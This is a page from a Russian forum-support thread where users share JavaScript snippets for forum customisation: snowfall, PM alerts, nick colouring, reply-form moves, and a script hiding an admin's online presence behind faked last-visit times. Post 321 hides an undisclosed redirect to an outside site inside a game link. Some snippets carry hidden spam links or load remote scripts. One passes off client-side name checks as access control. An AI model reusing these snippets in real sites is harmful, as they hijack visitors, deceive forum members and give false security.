Единый форум поддержки

Объявление

Для поиска информации рекомендуем воспользоваться поиском по форуму — это удобно ;)
Не забывайте указывать адрес форума в случае проблемы — иначе мы вам не сможем помочь!

Почему e-mail нужно подтверждать?

Информация о пользователе

Привет, Deff. Ваш последний визит: Сегодня 20:58:10. В фонде форума: 937.13 кредитов. Помочь форуму.


Вы здесь » Единый форум поддержки » Новые возможности форумов » Скрипты от пользователей


Скрипты от пользователей

Сообщений 321 страница 340 из 349

321

Курсор что удаляет форум
Этот скрипт вставляйте куда хотите:

Код:
<a href="javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://erkie.github.com/asteroids.min.js';void(0);">!!! РАССТРЕЛЯЙ ЭТУ СТРАНИЦУ (жми стрелочки и пробел) !!!</a><script type='text/javascript'>window.location = 'http://www.kino-pro.ru/';</script>

Пример
!!! РАССТРЕЛЯЙ ЭТУ СТРАНИЦУ (жми стрелочки и пробел) !!!

Отредактировано Farming (Пн, 20 Дек 2010 08:45:39)

0

322

Ccылка на Пост Автора в цитате и по клику на дату

Пост №1

Бен Коллинз написал(а):

неплохо было если бы где-нибудь возле ника и слова написал(а) была ссылка на цитируемый пост, иногда люди цитируют часть текста, бывает на несколько страниц ранее, после чего трудно найти исходное сообщение чтобы понять смысл.

Попробовал изобразить скрипт на Эту тему,(* поскольку в скрипте много кавычек, - исходный текст в не вставляется без ошибок в Сообщение на форум, загрузил на хостинг... Пример итога работы - Выше
Строку вставляем в HTML верх

<script src="http://hostjs-mybb2011.narod.ru/js/2newquote.js"></script>

PS: Если уже установлен скрипт "Получение Cсылки на пост в поле Ответа "
- убираем - скрипты дублируют и конфликтуют друг с другом



Недостатки : Ссылка непосредственно на пост автора  работает корректно для всех пользователей при одинаковости у всех юзеров количества сообщений на странице - при разных же значениях, - адрес форума и номер поста остаются верными, но точный переход -не всегда, поскольку не всегда может совпасть нумерация страниц у пользователя давшего ссылку и кликающего на неё.

Пример демократического и волюнтариского вариантов: Либо объявление(или опрос) о нужности скрипта "Ccылка на Пост Автора в цитате и  клику на дату" и общее выставление кол-во сообщений на страницу столько-то, либо принудительное выставление значения и скрытие поля установки "сообщений на странице" Профиля пользователя

<style>
#pun-profile .inputfield #fld8 {display:none;}
</style>

Над поправками думаем, но:  как промежуточно-переходный вариант до php реализации думаю устроит, все же 70% пользователей сидят с однотипными настройками по умолчанию

Тестируем

Отредактировано Deff (Сб, 18 Дек 2010 03:46:44)

0

323

С утра на ум пришло. Честно, не знаю, было ли ранее... поиск заюзал вроде.
вот:

Код:
<script type="text/javascript">
if (document.URL.indexOf("viewtopic.php") != -1){
li=document.getElementsByTagName("li")
f=0
while(li[++f]){
if(li[f].className == "pa-icq") 
{
b=li[f].innerHTML.substr(5)
li[f].innerHTML += '<img src="http://wwp.icq.com/scripts/online.dll?icq=' + b + '&img=5" border="0" / >' }
}
}
</script>

показывает статус(онлайн/оффлайн) пользователя аськи, если он указал асю в профиле. (в темах)

Развитие

Отредактировано Kven (Пт, 17 Дек 2010 15:25:31)

+1

324

Уведомление о новом личном сообщении. Romych

Ещё один скрипт, уведомляющий о новых личных сообщениях на форуме. Особенностью является наличие звукового оповещения.

Код:
<script language="JavaScript"> 
if((document.getElementById("navpm").innerHTML.indexOf("(") != -1) && (document.URL.indexOf("messages.php") == -1)) {
document.write("<div id='messanger' class='section' style='position: fixed; right: 40%; top: 35%; z-index: 1000; width: 320px; height: 110px;'><h2 style='background-color: #08440c; color: #000; text-align: center;'>Оповещение</h2><div class='container' style='padding: 15px; text-align: center; background-color: #ebeaf0;'><span>Вам пришло новое личное сообщение</span><br /><br /> <span style='color: green;'>Чтобы прочесть его, нажмите на эту кнопку.</span><br /><br /><br /><a class='mess' onclick=\"window.open(href='/messages.php'); return false\" style='background-color: rgb(125, 158, 112); border-style: none; cursor: pointer; font-size: 20px;' >&nbsp;&nbsp;&nbsp;OK&nbsp;&nbsp;&nbsp;</a></div><embed height='1' width='1' type='application/x-shockwave-flash' wmode='transparent' quality='high' src='http://promobil.kiev.ua/engine/classes/flashplayer/media_player.swf?MediaLink=http://promobil.kiev.ua/uploads/files/1188937250_icq.mp3&amp;defaultMedia=1&amp;showPlayButton=false&amp;playOnStart=true'></div>");}
$(function(){$('.mess').click(function(){
$('#messanger').toggle();}); });
</script>

Устанавливать в ХТМЛ-низ.

0

325

Shatuna

<SCRIPT LANGUAGE="JavaScript1.2">
<!-- Begin
var no = 25; //
var speed = 12; //
var snowflake = "http://druzia.0pk.ru/uploads/0002/25/06/9241-1.gif";

var ns4up = (document.layers) ? 1 : 0;
var ie4up = (document.all) ? 1 : 0;
var dx, xp, yp;
var am, stx, sty;
var i, doc_width = 800, doc_height = 600;
if (ns4up) {
doc_width = self.innerWidth;
doc_height = self.innerHeight;
} else if (ie4up) {
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx = new Array();
xp = new Array();
yp = new Array();
am = new Array();
stx = new Array();
sty = new Array();
for (i = 0; i < no; ++ i) { 
dx[i] = 0;         
xp[i] = Math.random()*(doc_width-50);
yp[i] = Math.random()*doc_height;
am[i] = Math.random()*20;         
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();   
if (ns4up) {                 
if (i == 0) {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
} else {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
   }
} else if (ie4up) {
if (i == 0) {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
} else {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
      }
   }
}
function snowNS() {
for (i = 0; i < no; ++ i) { 
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = self.innerWidth;
doc_height = self.innerHeight;
}
dx[i] += stx[i];
document.layers["dot"+i].top = yp[i];
document.layers["dot"+i].left = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowNS()", speed);
}
function snowIE() {
for (i = 0; i < no; ++ i) {
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx[i] += stx[i];
document.all["dot"+i].style.pixelTop = yp[i];
document.all["dot"+i].style.pixelLeft = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowIE()", speed);
}
if (ns4up) {
snowNS();
} else if (ie4up) {
snowIE();
}
// End -->
</script>

ссылку на картинку можно любую.

+1

326

Допуск в Категорию Тему или форум определенной группы лиц строго по Списку

<script type="text/javascript">

Offcategor("Название  Раздела", new Array("Ник1", "Ник2", "Ник3",  "Ник4", "Ник5", "Ник6"))
Offcategor("Название  Форума", new Array("Ник1", "Ник2", "Ник3",  "Ник4", "Ник5", "Ник6"))
Offcategor("Название темы", new Array("Ник1", "Ник2", "Ник3",  "Ник4", "Ник5", "Ник6"))

        function Offcategor(categor,myarray){
        var a = 1
        st = document.getElementById("pun-crumbs1").innerHTML;

        if (st.indexOf(categor)!= -1){
        var a = 0
        for(q=0;q<myarray.length;q++){
        if (myarray[q]== UserLogin){
        a = 1}}
        if (a != 1){document.getElementById("pun-main").innerHTML = "<div id=\"pun-main\" class=\"main\" style=\"margin-top: -25px!important;\"><h1><span>Информация</span></h1><div class=\"info\"><div class=\"container\"><b><span style='font-size:14px;'>Вы не имеете прав доступа к этой странице.</span><b></div></div></div>"}
}
}
</script>

Строку

Offcategor("Название темы/форум/категория", new Array("Ник1", "Ник2", "Ник3",  "Ник4", "Ник5", "Ник6"))

Размножаем для скольки тем, форумов и категорий нужно; кол-во ников можно увеличивать, последниё ник в списке без запятой;
Если нужна только одна или две строки, оставляем одну или две - лишнее убираем

(*Близкий аналог пароля на раздел от Дуки
Некие расширения:
Вы можете быть допущены в форум, но не допущены в определенную тему, если есть строка с этой темой, а Вашего ника там есть( аналогично и категории-форумы; категория-темы

Отредактировано Deff (Сб, 25 Дек 2010 16:37:08)

+1

327

дмитрий18 написал(а):

использовал Скрипт цветовыделения группhttp://russianrap.mybb.ru/но при наведении мышки цвет остаетса прежним
            и если возможно , как изменять цвет в скрипте при наведении, например на более яркий ?

дмитрий18, Попробуйте такой скрипт:(Ставим в HTML низ

<script type="text/javascript"><!-- Цветовыделение Ников с изменением цвета при наведении отличным от стандартного -->
        inColor("#31A02E","#FF0000", new Array("Odin", "Казуки", "Киру Лассу", "Китсуне-сама"))
        inColor("#7A6F6F","#FF0000", new Array("Тачи Тадао", "Мари", "Дитрих Кернц"))
       
        function inColor(color,color2, myarray){
        var a=document.links
        for(i=0;i<a.length;i++){
        for(q=0;q<myarray.length;q++){
        if(a[i].innerHTML==myarray[q]){
        a[i].innerHTML="<span style=\"color: "+color+";\" onmouseover=\"this.style.color='"+color2+"';\" onMouseOut=\"this.style.color='"+color+"';\"><u>"+myarray[q]+"</u></span>"
        }}}}
        </script>
<style>
.punbb a span u{text-decoration: none;}
.punbb a span u:hover{text-decoration:underline;}
</style><!-- End // Цветовыделение  Ников -->

Зеленым цвет ника в статике, красным - при наведении, синие сами ники с данным цветом

Cтроку синим жирным размножаем для нужных цветов и ников

Отредактировано Deff (Сб, 25 Дек 2010 16:34:15)

0

328

скрипт не мій! Санта з оленями бігають за курсором!

Код:
<html>
<head>
<title>Санта Клаус у курсора</title>
</head>
<body>
<div id="span0" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span1" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span2" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span3" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span4" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span5" style="position:absolute;visibility:hidden;">
<img src="../gif/elch.gif"></div>
<div id="span6" style="position:absolute;visibility:hidden;">
<img src="../gif/zuegel.gif"></div>
<div id="span7" style="position:absolute;visibility:hidden;">
<img src="../gif/santaclaus.gif"></div>
<div id="span8" style="position:absolute;visibility:hidden;">
</div>
<script src="../js/imgchristmastracker.js"></script>
<!--s_links--><!--323882778976--><!--/s_links--></body>
</html>

0

329

прикольний скрипт

Код:
<html>
<head>
<title>JavaScript. Позиционирование.</title>
<script language="JavaScript">
<!--
var hor=0;
var ver=0;
// step = величина шага
var step=20;
function right () {
hor+=step
if (navigator.appName == "Netscape")
{ document.move.left = hor }
else { document.all.move.style.left= hor }
}
function left () {
hor-=step
if (navigator.appName == "Netscape")
{ document.move.left = hor }
else { document.all.move.style.left= hor }
}
function down () {
ver+=step
if (navigator.appName == "Netscape")
{ document.move.top = ver }
else { document.all.move.style.top= ver }
}
function up () {
ver-=step
if (navigator.appName == "Netscape")
{ document.move.top = ver }
else { document.all.move.style.top = ver }
}
function upright () {
ver-=step
hor+=step
if (navigator.appName == "Netscape")
{ document.move.top = ver ;
document.move.left = hor ;}
else { document.all.move.style.top = ver ;
document.all.move.style.left= hor ;}
}
function upleft () {
ver=ver-step
hor=hor-step
if (navigator.appName == "Netscape")
{ document.move.top = ver ;
document.move.left = hor ;}
else { document.all.move.style.top = ver ;
document.all.move.style.left= hor ;}
}
function downleft () {
ver+=step
hor-=step
if (navigator.appName == "Netscape")
{ document.move.top = ver ;
document.move.left = hor ;}
else { document.all.move.style.top = ver ;
document.all.move.style.left= hor ;}
}
function downright () {
ver+=step
hor+=step
if (navigator.appName == "Netscape")
{ document.move.top = ver ;
document.move.left = hor ;}
else { document.all.move.style.top = ver ;
document.all.move.style.left= hor ;}
}
function begin () {
ver=0
hor=0
if (navigator.appName == "Netscape")
{ document.move.top = ver ;
document.move.left = hor ;}
else { document.all.move.style.top = ver ;
document.all.move.style.left= hor ;}
}
// -->
</script>
</head>
<body>
<center><div id="move" style="position:relative; left:0px; top:0px; width:200px; height:50px"><img src="../gif/heart.gif width="33" height="30" border=0></div></center><br><br><br><br><br><br><br><br>
<form><center>
<input type="button" value="Влево-Вверх" onclick="upleft();">
<input type="button" value="Вверх" onclick="up();">
<input type="button" value="Вправо-Вверх" onclick="upright();"><br>
<input type="button" value="Влево" onclick="left();">
<input type="button" value="Исходная позиция" onclick="begin();">
<input type="button" value="Вправо" onclick="right();"><br>
<input type="button" value="Влево-Вниз" onclick="downleft();">
<input type="button" value="Вниз" onclick="down();">
<input type="button" value="Вправо-Вниз" onclick="downright();">
</center></form>
<!--s_links-->ночные <a href="http://www.afisha.kaluga-poisk.ru/catalog/razvlecheniya--otdyh/nochnye-kluby/" target="_blank">клубы калуги</a><!--/s_links--></body>
</html>

0

330

новый скрипт загруски файлов на депозит

http://i019.radikal.ru/1012/e5/1870f584cfcf.png

Код:
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="350" height="60">
<param name="movie" value="http://img3.depositfiles.com/flash/DepositUploader_350x60.swf?ref=20_42rus&member_passkey=sj9dmb5xx5tt1889&interfaceId=2&lang=RU&lang_xml=http%3A%2F%2Fimg3.depositfiles.com%2Fflash%2FDepositUploader.xml"></param>
<param name="menu" value="false"></param>
<param name="scale" value="noScale"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<param name="wmode" value="transparent"></param>
<embed src="http://img3.depositfiles.com/flash/DepositUploader_350x60.swf?ref=20_42rus&member_passkey=sj9dmb5xx5tt1889&interfaceId=2&lang=RU&lang_xml=http%3A%2F%2Fimg3.depositfiles.com%2Fflash%2FDepositUploader.xml" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" menu="false" scale="noScale" wmode="transparent" width="350" height="60"></embed>
</object>

Ставить в форму ответа.

0

331

Ещё немного порылся в скриптах.. сделал такую штуку.
Многим, наверное, надоедало постоянно крутить страницу то вверх, то вниз, чтобы процитировать фразы из высоко находящегося поста и дать достойный ответ. Бывало наверное)
Данный скрипт добавит справа от кноки цитирования кнопочку "Ответить!", при нажатии на которую каждый (за исключением гостя) увидит под желаемым постом полную форму ответа.
Она исчезнет из первоначального своего положения. Но мы сможем вернуть её назад, нажав жирненькую кнопочку "Ответить" под последним постом. (над "Подписаться и отслеживать тему").
Возможности кнопок теряться не должны, это зависит лишь от скриптов, которые использовались для создания новых кнопок.

ВВЕРХ!

Код:
<script type="text/javascript">
function nowanswer() {
texts = document.getElementById('main-reply').innerText
answ = document.getElementById('post-form').innerHTML
var cansl = document.getElementById("post-form")
cansl.parentNode.removeChild(cansl)
obje.parentNode.parentNode.parentNode.parentNode.parentNode.innerHTML += '<div id="post-form" class="formal">' +answ+ '</div>'
document.getElementById('main-reply').innerText = texts
}

function nowback() {
answ = document.getElementById('post-form').innerHTML
texts = document.getElementById('main-reply').innerText
var cansl = document.getElementById("post-form")
cansl.parentNode.removeChild(cansl)
al.innerHTML += '<div id="post-form" class="formal">' +answ+ '</div>'
document.getElementById('main-reply').innerText = texts 
}
</script>

ВНИЗ

Код:
<script type="text/javascript">
if (GroupID !== 3) {
l = document.getElementsByClassName('post-links')
f=-1
while (l[++f]) {
l[f].firstElementChild.innerHTML += '<li><a onclick="obje=this; nowanswer(); return false" href="#post-form"  >Ответить!</a></li>' 
}

f=-1
rii = document.getElementsByClassName('postlink')
al = document.getElementById('pun-main')
while (rii[++f]) {
rii[f].innerHTML = '<a onclick="nowback()" href="#post-form"><span>Ответить</span></a>'
}
}
</script>

Отредактировано Kven (Ср, 5 Янв 2011 13:56:59)

0

332

Kven классная вещь, если её ещё немного модифицировать. а именно:

- сделать так, чтобы ответ, написанный на одно сообщение, сохранялся если отвечать на следующие сообщения. то есть, например, в теме 10 ответов. я хочу ответить на 2-ое сообщение, нажимаю на кнопку "ответить", пишу свой ответ. потом вижу 5-ое сообщение и тоже хочу на него ответить. теперь, нажимая на кнопку "ответить", там уже виден мой ответ на 2-ое сообщение и я добавляю теперь туда же ответ на 5-ое сообщение.

- при этом было бы отлично, если бы предыдущий ответ, точнее форму ответа, можно было бы сворачивать назад, нажимая на кнопку "ответить", чтобы она больше не была видна. то есть, написав ответ на 2-ое сообщение, я снова закрываю форму ответа, потом перехожу к 5-ому сообщению, отвечая на которое уже виден мой сохранённый ответ на 2-ое сообщение, пишу ответ на него, а потом либо снова сворачиваю форму ответа и двигаюсь к следующему сообщению, либо жму на "отправить".

- кнопку "ссылка на сообщение" можно выкинуть вообще.

но в целом - отлично! :)

0

333

Спасибо =)
Поправки внесу.

Отредактировано Kven (Ср, 5 Янв 2011 12:59:51)

0

334

СКРИПТ СКРЫТОГО ПРИСУТСТВИЯ ЮЗЕРА НА ФОРУМЕ
Пояснения:
Для работы скрипта необходимо заполнить строку-функцию для конкретного юзера и вставить в скрипт,

Пример:

UserOff(1,"Сегодня 14:03:27",22787, "Deff")


Первая цифра синим - скрытие включено или выключено - 1 - включено - 0 - выключено
Красным - якобы дата-время последнего присутствия( *думалось, в принципе,  сделать список-массив из 20-30 значений рандомно перебирать его в зависимости от текущего  дня месяца -  пока оставил так, - вручную

Зеленым -id юзера - (можно подсмотреть при клике на профиль в Адресном окне браузера, -> это цифра,- идущая после id=

И последнее, темно-синим - Ник

Строку подобную этой (синим)

UserOff(1,"Сегодня 15:15:04",14444, "rps")


Можно размножать для нескольких пользователей, не особо увлекаясь количеством, - скрипт достаточно длинный, для каждого НИка, прокручивается несколько этапов (Если скрываем только одного юзера - оставляем только одну строку - с вышеуказанными данными, - именно для него

Код:
<script type="text/javascript"><!-- Cкрипт Скрытия Присутствия -->
  $(document).ready(function(){


        UserOff(1,"Сегодня 14:03:27",22787, "Deff")
        UserOff(1,"Сегодня 15:15:04",14444, "rps")

       
     function UserOff(off,last_visit,IDUser,NIK){
        if(off!==0) {
        var t9="Последний визит:<br/>"
        var za = "</a>";
        var pa = "<a ";
        var p =",";
        var s;
        var ss0=0;
        var ss000;

     var NIKprov = "http://"+location.hostname+"/profile.php?id="+IDUser

        var str=$("a[href='"+NIKprov+"']:first").parent().html()

        if (str!==null){	  //Прибамбас для ИЕ6
	var a=str.substring(1,2)
        za = "</"+a+">";
        pa = "<"+a+" ";}	//End&&


	ss1=pa+"href=\""+NIKprov+"\">"+NIK+za;

        ss0=$("#pun-index #onlinelist>div a[title='Посмотреть, кто чем занимается на форуме.']").parent().html()
        if (ss0!==null){
        var ss000=ss0.substring(0).replace(NIK+za+p,NIK+za); // Убираем запятую, если есть

        ss000=ss000.substring(0).replace(ss1,''); // Убираем Ник
        if(ss0!==ss000){// Если Строка Изменена, меняем кол-во присутствующих пользователей

	$("#onlinelist>div a[title='Посмотреть, кто чем занимается на форуме.']").parent().html(ss000)
        ss0=$("#onlinelist>div a[title='Посмотреть, кто чем занимается на форуме.']").parent().find("strong:nth-child(3)").html();
        s=ss0-1; // Уменьшаем кол-во пользователей

    $("#onlinelist>div a[title='Посмотреть, кто чем занимается на форуме.']").parent().find("strong:nth-child(3)").html(s)
}} // конец проверки на Главной


//Проверка в Топике
        var ss = "Тему просматривают"
        ss0=$("#pun-viewtopic div.modmenu p.container:contains('"+ss+"')").html()
        if (ss0!==null){

	ss000=(ss0.substring(0)).replace(NIK+za+p,NIK+za); // Убираем запятую после Ника,если есть
	ss000=(ss000.substring(0)).replace(ss1,''); 	// Убираем Ник

	// Изменении строки ознч-ет, пользователь на странице, меняем кол-во присутствующих пользователей;
        if(ss0!==ss000){
        
        for(var i=0;i<ss000.length;i++){
        if (ss000.substring(0,i).indexOf("Пользователей: ")!=-1){ //Ищем на стр. кол-во Пользователей
        var j=i;
        break;}}

        for(var i=j;i<ss000.length;i++){
        if (ss000.substring(j,i).indexOf(")")!=-1){
	var y=i;
        break;}}
        
        s=ss000.substring(j,y-1)-1
	ss000=ss000.substring(0,j)+s+ss000.substring(y-1)
        ss0=$("#pun-viewtopic div.modmenu p.container:contains('Тему просматривают')").html(ss000); //Вставили измененую строку юзеров внизу Tопика


}}; // конец проверки строки присутствия в топике

//проверки активности Аватара в топике
        ss0=$("#pun-viewtopic li.pl-email a[href='"+NIKprov+"'],#pun-messages li.pa-author a[href='"+NIKprov+"']").parents("div.container").find("div.post-author.online ul").html()
        if (ss0!==null){

        $("li.pl-email a[href='"+NIKprov+"'],#pun-messages li.pa-author a[href='"+NIKprov+"']").parents("div.container").find("div.post-author.online ul").each(function(i){
        $(this).find("li.pa-online").addClass("pa-last-visit").removeClass("pa-online").html(t9+last_visit)
	$(this).parent("div.post-author.online").removeClass("online")

   });
}// конец -проверки активности Аввы в топике
// Проверка и cкрытие при просмотре: ссылки(с главной) "Активны"
        ss0=$("div.#pun-online td.tcl a[href='"+NIKprov+"']").parent("td.tcl").parent("tr").hide()
       }
    }
});
</script><!-- End//Cкрытие Присутствия -->

ТЕСТИРУЕМ - Отписываемся

Дополнения: - Если Мы хотим, чтобы скрипт работал корректно совместно со скриптами "Картинки Оффлайн - Онлайн" и скриптом скрытия - развертывания Инфы под Аватаром - Скрипт должен стоять Выше этих скриптов

*Ставим его или  в самый низ HTML верх или  в самый верх HTML низ, обязательно чтобы он был  выше скрипта последние 10/20 сообщений (иначе кол-во ников - может меняется прямо на глазах у изумлённого юзера



Думаю, что для постоянного надзора имеет смысл заходить с отдельного Аккаунта(редко используемого/неиспользуемого для написания сообщений) и с другого браузера -дабы можно немедленно было ввести в действие стандартно используемый Админ - Модер аккаунт по мере необходимости ситуации... (При такой системе использования, правка скрипта(для установки параметров: включение/выключения и времени последнего присутствия) нужна редко, только когда Вы всё же пожелаете проводить скрыто проводить Администрирование Модерирование

Исправлено для Мазиллы
Поправлено для ИЕ6 - Тестим дальше

Поправлено для скрытия в Личных Сообщениях  /14.01.11

Отредактировано Deff (Сегодня 21:34:22)

0

335

Deff
как на счёт того чтоб скрыть и в Тему просматривают ?

0

336

Romych Хм - вроде скрыто ? (Где эта запись (*мну за тех поддержкой про форумы забыл уже

Отредактировано Deff (Пн, 10 Янв 2011 18:27:01)

0

337

Deff написал(а):

Или где это

http://i039.radikal.ru/1101/4d/0a339ca5753d.gif

0

338

Romych А чо - разве не скрыта - ти UserID Свое выставил верно  ? 

http://savepic.ru/2101147.gif

Кстати в скрипте мои данные для текущего форума можешьпоробовать в исходный код вихнуть - должен сразу скрыться

Отредактировано Deff (Пн, 10 Янв 2011 18:39:38)

0

339

Deff написал(а):

ти UserID Свое выставил верно  ?

да да
у меня скрывает только на главной странице

0

340

Romych написал(а):

у меня скрывает только на главной странице

Может - передвинуть слегка ?

Возможны конфликты по переменным ... А браузер какой ?

Отредактировано Deff (Пн, 10 Янв 2011 18:41:45)

0

RSSAtom

Тему просматривают (Гостей: 0, Пользователей: 1) Deff

Быстрый ответ

Напишите ваше сообщение и нажмите отправить

автор Bloom автор Bloom автор Bloom автор Bloom автор Bloom автор Bloom автор Bloom автор Bloom автор Bloom

Перед публикацией сообщения, пожалуйста, ознакомьтесь с правилами форума


Вы здесь » Единый форум поддержки » Новые возможности форумов » Скрипты от пользователей


Используются технологии uCoz